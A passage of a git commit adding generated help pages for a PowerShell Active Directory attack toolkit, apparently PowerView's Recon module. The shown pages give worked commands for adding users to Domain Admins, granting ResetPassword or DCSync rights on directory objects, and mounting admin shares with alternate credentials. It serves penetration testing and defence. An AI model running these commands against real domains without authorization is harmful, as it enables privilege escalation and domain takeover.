From 0aaa23cd8656f0b92f2fac3cd8e6be68eed7d809 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 12 Dec 2016 21:05:08 -0500 Subject: first take at platyPS doc generation --- docs/Recon/Add-DomainGroupMember.md | 142 +++++ docs/Recon/Add-DomainObjectAcl.md | 361 +++++++++++++ docs/Recon/Add-RemoteConnection.md | 114 ++++ docs/Recon/Convert-ADName.md | 184 +++++++ docs/Recon/ConvertFrom-SID.md | 126 +++++ docs/Recon/ConvertFrom-UACValue.md | 127 +++++ docs/Recon/ConvertTo-SID.md | 120 +++++ docs/Recon/Export-PowerViewCSV.md | 117 +++++ docs/Recon/Find-DomainLocalGroupMember.md | 351 +++++++++++++ docs/Recon/Find-DomainObjectPropertyOutlier.md | 261 ++++++++++ docs/Recon/Find-DomainProcess.md | 517 ++++++++++++++++++ docs/Recon/Find-DomainShare.md | 335 ++++++++++++ docs/Recon/Find-DomainUserEvent.md | 451 ++++++++++++++++ docs/Recon/Find-DomainUserLocation.md | 579 +++++++++++++++++++++ docs/Recon/Find-InterestingDomainAcl.md | 239 +++++++++ docs/Recon/Find-InterestingDomainShareFile.md | 463 ++++++++++++++++ docs/Recon/Find-InterestingFile.md | 248 +++++++++ docs/Recon/Find-LocalAdminAccess.md | 337 ++++++++++++ docs/Recon/Get-ComputerDetails.md | 68 +++ docs/Recon/Get-Domain.md | 81 +++ docs/Recon/Get-DomainComputer.md | 426 +++++++++++++++ docs/Recon/Get-DomainController.md | 132 +++++ docs/Recon/Get-DomainDFSShare.md | 202 +++++++ docs/Recon/Get-DomainDNSRecord.md | 181 +++++++ docs/Recon/Get-DomainDNSZone.md | 156 ++++++ docs/Recon/Get-DomainFileServer.md | 200 +++++++ docs/Recon/Get-DomainForeignGroupMember.md | 238 +++++++++ docs/Recon/Get-DomainForeignUser.md | 239 +++++++++ docs/Recon/Get-DomainGPO.md | 354 +++++++++++++ .../Get-DomainGPOComputerLocalGroupMapping.md | 263 ++++++++++ docs/Recon/Get-DomainGPOLocalGroup.md | 259 +++++++++ docs/Recon/Get-DomainGPOUserLocalGroupMapping.md | 258 +++++++++ docs/Recon/Get-DomainGroup.md | 397 ++++++++++++++ docs/Recon/Get-DomainGroupMember.md | 401 ++++++++++++++ docs/Recon/Get-DomainManagedSecurityGroup.md | 177 +++++++ docs/Recon/Get-DomainOU.md | 316 +++++++++++ docs/Recon/Get-DomainObject.md | 318 +++++++++++ docs/Recon/Get-DomainObjectAcl.md | 251 +++++++++ docs/Recon/Get-DomainPolicy.md | 159 ++++++ docs/Recon/Get-DomainSID.md | 102 ++++ docs/Recon/Get-DomainSPNTicket.md | 136 +++++ docs/Recon/Get-DomainSite.md | 309 +++++++++++ docs/Recon/Get-DomainSubnet.md | 309 +++++++++++ docs/Recon/Get-DomainTrust.md | 250 +++++++++ docs/Recon/Get-DomainTrustMapping.md | 220 ++++++++ docs/Recon/Get-DomainUser.md | 426 +++++++++++++++ docs/Recon/Get-DomainUserEvent.md | 144 +++++ docs/Recon/Get-Forest.md | 80 +++ docs/Recon/Get-ForestDomain.md | 82 +++ docs/Recon/Get-ForestGlobalCatalog.md | 78 +++ docs/Recon/Get-ForestTrust.md | 91 ++++ docs/Recon/Get-HttpStatus.md | 106 ++++ docs/Recon/Get-NetComputerSiteName.md | 89 ++++ docs/Recon/Get-NetLocalGroup.md | 132 +++++ docs/Recon/Get-NetLocalGroupMember.md | 212 ++++++++ docs/Recon/Get-NetLoggedon.md | 100 ++++ docs/Recon/Get-NetRDPSession.md | 104 ++++ docs/Recon/Get-NetSession.md | 99 ++++ docs/Recon/Get-NetShare.md | 100 ++++ docs/Recon/Get-PathAcl.md | 94 ++++ docs/Recon/Get-RegLoggedOn.md | 89 ++++ docs/Recon/Get-WMIProcess.md | 80 +++ docs/Recon/Get-WMIRegCachedRDPConnection.md | 99 ++++ docs/Recon/Get-WMIRegLastLoggedOn.md | 98 ++++ docs/Recon/Get-WMIRegMountedDrive.md | 97 ++++ docs/Recon/Get-WMIRegProxy.md | 93 ++++ docs/Recon/Invoke-Kerberoast.md | 233 +++++++++ docs/Recon/Invoke-Portscan.md | 430 +++++++++++++++ docs/Recon/Invoke-ReverseDnsLookup.md | 106 ++++ docs/Recon/Invoke-RevertToSelf.md | 56 ++ docs/Recon/Invoke-UserImpersonation.md | 100 ++++ docs/Recon/New-DomainGroup.md | 150 ++++++ docs/Recon/New-DomainUser.md | 184 +++++++ docs/Recon/Remove-RemoteConnection.md | 84 +++ docs/Recon/Resolve-IPAddress.md | 66 +++ docs/Recon/Set-DomainObject.md | 346 ++++++++++++ docs/Recon/Test-AdminAccess.md | 101 ++++ 77 files changed, 15823 insertions(+) create mode 100755 docs/Recon/Add-DomainGroupMember.md create mode 100755 docs/Recon/Add-DomainObjectAcl.md create mode 100755 docs/Recon/Add-RemoteConnection.md create mode 100755 docs/Recon/Convert-ADName.md create mode 100755 docs/Recon/ConvertFrom-SID.md create mode 100755 docs/Recon/ConvertFrom-UACValue.md create mode 100755 docs/Recon/ConvertTo-SID.md create mode 100755 docs/Recon/Export-PowerViewCSV.md create mode 100755 docs/Recon/Find-DomainLocalGroupMember.md create mode 100755 docs/Recon/Find-DomainObjectPropertyOutlier.md create mode 100755 docs/Recon/Find-DomainProcess.md create mode 100755 docs/Recon/Find-DomainShare.md create mode 100755 docs/Recon/Find-DomainUserEvent.md create mode 100755 docs/Recon/Find-DomainUserLocation.md create mode 100755 docs/Recon/Find-InterestingDomainAcl.md create mode 100755 docs/Recon/Find-InterestingDomainShareFile.md create mode 100755 docs/Recon/Find-InterestingFile.md create mode 100755 docs/Recon/Find-LocalAdminAccess.md create mode 100755 docs/Recon/Get-ComputerDetails.md create mode 100755 docs/Recon/Get-Domain.md create mode 100755 docs/Recon/Get-DomainComputer.md create mode 100755 docs/Recon/Get-DomainController.md create mode 100755 docs/Recon/Get-DomainDFSShare.md create mode 100755 docs/Recon/Get-DomainDNSRecord.md create mode 100755 docs/Recon/Get-DomainDNSZone.md create mode 100755 docs/Recon/Get-DomainFileServer.md create mode 100755 docs/Recon/Get-DomainForeignGroupMember.md create mode 100755 docs/Recon/Get-DomainForeignUser.md create mode 100755 docs/Recon/Get-DomainGPO.md create mode 100755 docs/Recon/Get-DomainGPOComputerLocalGroupMapping.md create mode 100755 docs/Recon/Get-DomainGPOLocalGroup.md create mode 100755 docs/Recon/Get-DomainGPOUserLocalGroupMapping.md create mode 100755 docs/Recon/Get-DomainGroup.md create mode 100755 docs/Recon/Get-DomainGroupMember.md create mode 100755 docs/Recon/Get-DomainManagedSecurityGroup.md create mode 100755 docs/Recon/Get-DomainOU.md create mode 100755 docs/Recon/Get-DomainObject.md create mode 100755 docs/Recon/Get-DomainObjectAcl.md create mode 100755 docs/Recon/Get-DomainPolicy.md create mode 100755 docs/Recon/Get-DomainSID.md create mode 100755 docs/Recon/Get-DomainSPNTicket.md create mode 100755 docs/Recon/Get-DomainSite.md create mode 100755 docs/Recon/Get-DomainSubnet.md create mode 100755 docs/Recon/Get-DomainTrust.md create mode 100755 docs/Recon/Get-DomainTrustMapping.md create mode 100755 docs/Recon/Get-DomainUser.md create mode 100755 docs/Recon/Get-DomainUserEvent.md create mode 100755 docs/Recon/Get-Forest.md create mode 100755 docs/Recon/Get-ForestDomain.md create mode 100755 docs/Recon/Get-ForestGlobalCatalog.md create mode 100755 docs/Recon/Get-ForestTrust.md create mode 100755 docs/Recon/Get-HttpStatus.md create mode 100755 docs/Recon/Get-NetComputerSiteName.md create mode 100755 docs/Recon/Get-NetLocalGroup.md create mode 100755 docs/Recon/Get-NetLocalGroupMember.md create mode 100755 docs/Recon/Get-NetLoggedon.md create mode 100755 docs/Recon/Get-NetRDPSession.md create mode 100755 docs/Recon/Get-NetSession.md create mode 100755 docs/Recon/Get-NetShare.md create mode 100755 docs/Recon/Get-PathAcl.md create mode 100755 docs/Recon/Get-RegLoggedOn.md create mode 100755 docs/Recon/Get-WMIProcess.md create mode 100755 docs/Recon/Get-WMIRegCachedRDPConnection.md create mode 100755 docs/Recon/Get-WMIRegLastLoggedOn.md create mode 100755 docs/Recon/Get-WMIRegMountedDrive.md create mode 100755 docs/Recon/Get-WMIRegProxy.md create mode 100755 docs/Recon/Invoke-Kerberoast.md create mode 100755 docs/Recon/Invoke-Portscan.md create mode 100755 docs/Recon/Invoke-ReverseDnsLookup.md create mode 100755 docs/Recon/Invoke-RevertToSelf.md create mode 100755 docs/Recon/Invoke-UserImpersonation.md create mode 100755 docs/Recon/New-DomainGroup.md create mode 100755 docs/Recon/New-DomainUser.md create mode 100755 docs/Recon/Remove-RemoteConnection.md create mode 100755 docs/Recon/Resolve-IPAddress.md create mode 100755 docs/Recon/Set-DomainObject.md create mode 100755 docs/Recon/Test-AdminAccess.md (limited to 'docs') diff --git a/docs/Recon/Add-DomainGroupMember.md b/docs/Recon/Add-DomainGroupMember.md new file mode 100755 index 0000000..cc563e9 --- /dev/null +++ b/docs/Recon/Add-DomainGroupMember.md @@ -0,0 +1,142 @@ +# Add-DomainGroupMember + +## SYNOPSIS +Adds a domain user (or group) to an existing domain group, assuming +appropriate permissions to do so. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +## SYNTAX + +``` +Add-DomainGroupMember [-Identity] -Members [-Domain ] [-Credential ] +``` + +## DESCRIPTION +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to search for the specified -GroupIdentity, +which returns a DirectoryServices.AccountManagement.GroupPrincipal object. +For +each entry in -Members, each member identity is similarly searched for and added +to the group. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' +``` + +Adds harmj0y to 'Domain Admins' in the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred + +Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred + +Creates the 'andy' user with the specified description and password, using the specified +alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember +and the alternate credentials. + +## PARAMETERS + +### -Identity +A group SamAccountName (e.g. +Group1), DistinguishedName (e.g. +CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to add members to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: GroupName, GroupIdentity + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Members +One or more member identities, i.e. +SamAccountName (e.g. +Group1), DistinguishedName +(e.g. +CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1114), +or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d202). + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: MemberIdentity, Member, DistinguishedName + +Required: True +Position: Named +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/](http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/) + diff --git a/docs/Recon/Add-DomainObjectAcl.md b/docs/Recon/Add-DomainObjectAcl.md new file mode 100755 index 0000000..c530e81 --- /dev/null +++ b/docs/Recon/Add-DomainObjectAcl.md @@ -0,0 +1,361 @@ +# Add-DomainObjectAcl + +## SYNOPSIS +Adds an ACL for a specific active directory object. + +AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906 + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +## SYNTAX + +``` +Add-DomainObjectAcl [[-TargetIdentity] ] [-TargetDomain ] [-TargetLDAPFilter ] + [-TargetSearchBase ] -PrincipalIdentity [-PrincipalDomain ] [-Server ] + [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] + [-Credential ] [-Rights ] [-RightsGUID ] +``` + +## DESCRIPTION +This function modifies the ACL/ACE entries for a given Active Directory +target object specified by -TargetIdentity. +Available -Rights are +'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended +rights GUID can be set with -RightsGUID. +These rights are granted on the target +object for the specified -PrincipalIdentity. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid +``` + +Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} + +... + +Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string:(&(|(samAccountName=dfm.a))) +VERBOSE: \[Add-DomainObjectAcl\] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local +VERBOSE: \[Add-DomainObjectAcl\] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local + +Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } + +AceQualifier : AccessAllowed +ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local +ActiveDirectoryRights : ExtendedRight +ObjectAceType : User-Force-Change-Password +ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 +InheritanceFlags : None +BinaryLength : 56 +AceType : AccessAllowedObject +ObjectAceFlags : ObjectAceTypePresent +IsCallback : False +PropagationFlags : None +SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 +AccessMask : 256 +AuditFlags : None +IsInherited : False +AceFlags : None +InheritedObjectAceType : All +OpaqueLength : 0 + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid +``` + +Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} + +\[no results returned\] + +$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose +VERBOSE: \[Get-Domain\] Using alternate credentials for Get-Domain +VERBOSE: \[Get-Domain\] Extracted domain 'TESTLAB' from -Credential +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainSearcher\] Using alternate credentials for LDAP connection +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y)))) +VERBOSE: \[Get-Domain\] Using alternate credentials for Get-Domain +VERBOSE: \[Get-Domain\] Extracted domain 'TESTLAB' from -Credential +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainSearcher\] Using alternate credentials for LDAP connection +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) +VERBOSE: \[Add-DomainObjectAcl\] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local +VERBOSE: \[Add-DomainObjectAcl\] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local + +Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } + +AceQualifier : AccessAllowed +ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local +ActiveDirectoryRights : ExtendedRight +ObjectAceType : User-Force-Change-Password +ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 +InheritanceFlags : None +BinaryLength : 56 +AceType : AccessAllowedObject +ObjectAceFlags : ObjectAceTypePresent +IsCallback : False +PropagationFlags : None +SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 +AccessMask : 256 +AuditFlags : None +IsInherited : False +AceFlags : None +InheritedObjectAceType : All +OpaqueLength : 0 + +## PARAMETERS + +### -TargetIdentity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain object to modify ACLs for. +Required. +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -TargetDomain +Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -TargetLDAPFilter +Specifies an LDAP query string that is used to filter Active Directory object targets. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -TargetSearchBase +The LDAP source to search through for targets, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PrincipalIdentity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain principal to add for the ACL. +Required. +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PrincipalDomain +Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Rights +Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'. +Defaults to 'All'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: All +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RightsGUID +Manual GUID representing the right to add to the target. + +```yaml +Type: Guid +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[https://adsecurity.org/?p=1906 +https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell](https://adsecurity.org/?p=1906 +https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell) + diff --git a/docs/Recon/Add-RemoteConnection.md b/docs/Recon/Add-RemoteConnection.md new file mode 100755 index 0000000..86112e2 --- /dev/null +++ b/docs/Recon/Add-RemoteConnection.md @@ -0,0 +1,114 @@ +# Add-RemoteConnection + +## SYNOPSIS +Pseudo "mounts" a connection to a remote path using the specified +credential object, allowing for access of remote resources. +If a -Path isn't +specified, a -ComputerName is required to pseudo-mount IPC$. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +### ComputerName (Default) +``` +Add-RemoteConnection [-ComputerName] -Credential +``` + +### Path +``` +Add-RemoteConnection [-Path] -Credential +``` + +## DESCRIPTION +This function uses WNetAddConnection2W to make a 'temporary' (i.e. +not saved) connection +to the specified remote -Path (\\\\UNC\share) with the alternate credentials specified in the +-Credential object. +If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$. + +To destroy the connection, use Remove-RemoteConnection with the same specified \\\\UNC\share path +or -ComputerName. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$Cred = Get-Credential +``` + +Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-RemoteConnection -Path '\\\\PRIMARY.testlab.local\C$\' -Credential $Cred + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$Cred = Get-Credential +``` + +@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the system to add a \\\\ComputerName\IPC$ connection for. + +```yaml +Type: String[] +Parameter Sets: ComputerName +Aliases: HostName, dnshostname, name + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Path +Specifies the remote \\\\UNC\path to add the connection for. + +```yaml +Type: String[] +Parameter Sets: Path +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Convert-ADName.md b/docs/Recon/Convert-ADName.md new file mode 100755 index 0000000..7f9f42b --- /dev/null +++ b/docs/Recon/Convert-ADName.md @@ -0,0 +1,184 @@ +# Convert-ADName + +## SYNOPSIS +Converts Active Directory object names between a variety of formats. + +Author: Bill Stewart, Pasquale Lantella +Modifications: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Convert-ADName [-Identity] [[-OutputType] ] [[-Domain] ] [[-Server] ] + [[-Credential] ] +``` + +## DESCRIPTION +This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK) +and translates Active Directory names between various formats using the NameTranslate COM object. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Convert-ADName -Identity "TESTLAB\harmj0y" +``` + +harmj0y@testlab.local + +### -------------------------- EXAMPLE 2 -------------------------- +``` +"TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical +``` + +testlab.local/Users/krbtgt +testlab.local/Users/Administrator + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local +``` + +CN=harmj0y,CN=Users,DC=testlab,DC=local + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred + +TESTLAB\harmj0y + +## PARAMETERS + +### -Identity +Specifies the Active Directory object name to translate, of the following form: + + DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' + Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' + NT4 domain\username; e.g., 'fabrikam\pflynn' + Display display name, e.g. +'pflynn' + DomainSimple simple domain name format, e.g. +'pflynn@fabrikam.com' + EnterpriseSimple simple enterprise name format, e.g. +'pflynn@fabrikam.com' + GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' + UPN user principal name; e.g., 'pflynn@fabrikam.com' + CanonicalEx extended canonical name format + SPN service principal name format; e.g. +'HTTP/kairomac.contoso.com' + SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999' + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Name, ObjectName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -OutputType +Specifies the output name type you want to convert to, which must be one of the following: + + DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' + Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' + NT4 domain\username; e.g., 'fabrikam\pflynn' + Display display name, e.g. +'pflynn' + DomainSimple simple domain name format, e.g. +'pflynn@fabrikam.com' + EnterpriseSimple simple enterprise name format, e.g. +'pflynn@fabrikam.com' + GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' + UPN user principal name; e.g., 'pflynn@fabrikam.com' + CanonicalEx extended canonical name format, e.g. +'fabrikam.com/Users/Phineas Flynn' + SPN service principal name format; e.g. +'HTTP/kairomac.contoso.com' + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the translation, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to for the translation. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: 4 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +Specifies an alternate credential to use for the translation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### String + +Accepts one or more objects name strings on the pipeline. + +## OUTPUTS + +### String + +Outputs a string representing the converted name. + +## NOTES + +## RELATED LINKS + +[http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67](http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67) + diff --git a/docs/Recon/ConvertFrom-SID.md b/docs/Recon/ConvertFrom-SID.md new file 